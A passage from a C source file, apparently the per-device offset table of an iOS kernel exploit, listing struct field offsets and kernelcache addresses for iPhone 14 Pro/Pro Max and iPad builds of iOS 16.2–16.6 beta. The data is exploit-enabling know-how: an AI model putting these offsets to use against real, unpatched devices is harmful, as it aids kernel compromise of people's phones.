._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a4c9a30,\n        .kernelcache__gPhysBase = 0xfffffff00794c1b8,\n        .kernelcache__gPhysSize = 0xfffffff00794c1b8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00794a370,\n        .kernelcache__perfmon_devices = 0xfffffff00a509530,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f116dc,\n        .kernelcache__ptov_table = 0xfffffff0078ff9b8,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a508910,\n        .kernelcache__vm_pages = 0xfffffff0078fc108,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078fe968,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a508908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f5dbf8,\n    },\n  // End iPhone 14 Pro //\n // Start iPhone 14 Pro Max //\n  // iOS 16.2 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:09:56 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8120\",\n        .build_version = \"20C65\",\n        .device_id = \"iPhone15,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a321190,\n        .kernelcache__gPhysBase = 0xfffffff007853fd8,\n        .kernelcache__gPhysSize = 0xfffffff007853fd8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078521b8,\n        .kernelcache__perfmon_devices = 0xfffffff00a35c390,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ecce7c,\n        .kernelcache__ptov_table = 0xfffffff0078073d0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a35b800,\n        .kernelcache__vm_pages = 0xfffffff007804090,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806390,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a35b7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f1cea4,\n    },\n  // iOS 16.3 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:01 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8120\",\n        .build_version = \"20D47\",\n        .device_id = \"iPhone15,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a32d190,\n        .kernelcache__gPhysBase = 0xfffffff0078540c0,\n        .kernelcache__gPhysSize = 0xfffffff0078540c0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078522a0,\n        .kernelcache__perfmon_devices = 0xfffffff00a368390,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ecce10,\n        .kernelcache__ptov_table = 0xfffffff007807410,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a367800,\n        .kernelcache__vm_pages = 0xfffffff0078040d0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078063d0,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3677f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f1ce28,\n    },\n  // iOS 16.3.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:01 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8120\",\n        .build_version = \"20D67\",\n        .device_id = \"iPhone15,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a32d190,\n        .kernelcache__gPhysBase = 0xfffffff0078540c0,\n        .kernelcache__gPhysSize = 0xfffffff0078540c0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078522a0,\n        .kernelcache__perfmon_devices = 0xfffffff00a368390,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ecce10,\n        .kernelcache__ptov_table = 0xfffffff007807410,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a367800,\n        .kernelcache__vm_pages = 0xfffffff0078040d0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078063d0,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3677f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f1ce28,\n    },\n  // iOS 16.4 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:19 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8120\",\n        .build_version = \"20E247\",\n        .device_id = \"iPhone15,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a411208,\n        .kernelcache__gPhysBase = 0xfffffff007933ed0,\n        .kernelcache__gPhysSize = 0xfffffff007933ed0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0079320a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a44f500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007eecd3c,\n        .kernelcache__ptov_table = 0xfffffff0078e7178,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a44e990,\n        .kernelcache__vm_pages = 0xfffffff0078e3eb8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6128,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a44e988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3960c,\n    },\n   // iOS 16.4.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:19 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8120\",\n        .build_version = \"20E252\",\n        .device_id = \"iPhone15,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a411208,\n        .kernelcache__gPhysBase = 0xfffffff007933ed0,\n        .kernelcache__gPhysSize = 0xfffffff007933ed0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0079320a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a44f500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007eecd3c,\n        .kernelcache__ptov_table = 0xfffffff0078e7178,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a44e990,\n        .kernelcache__vm_pages = 0xfffffff0078e3eb8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6128,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a44e988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3960c,\n    },\n  // iOS 16.5 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:09:28 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8120\",\n        .build_version = \"20F66\",\n        .device_id = \"iPhone15,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a419208,\n        .kernelcache__gPhysBase = 0xfffffff007934010,\n        .kernelcache__gPhysSize = 0xfffffff007934010 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0079321e8,\n        .kernelcache__perfmon_devices = 0xfffffff00a457500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007eecfc0,\n        .kernelcache__ptov_table = 0xfffffff0078e7178,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a456990,\n        .kernelcache__vm_pages = 0xfffffff0078e3eb8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6128,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a456988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f39b28,\n    },\n  // iOS 16.6 Beta 1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:35 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8120\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPhone15,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a4c9a30,\n        .kernelcache__gPhysBase = 0xfffffff00794c1b8,\n        .kernelcache__gPhysSize = 0xfffffff00794c1b8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00794a370,\n        .kernelcache__perfmon_devices = 0xfffffff00a509530,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f116dc,\n        .kernelcache__ptov_table = 0xfffffff0078ff9b8,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a508910,\n        .kernelcache__vm_pages = 0xfffffff0078fc108,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078fe968,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a508908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f5dbf8,\n    },\n // End iPhone 14 Pro Max //\n// End iPhone 14 Pro, iPhone 14 Pro Max series //\n    \n    \n    // iPad Section //\n    // iPad 9th Gen //\n    // iOS 16.4\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:25 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20E246\",\n        .device_id = \"iPad12,1\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        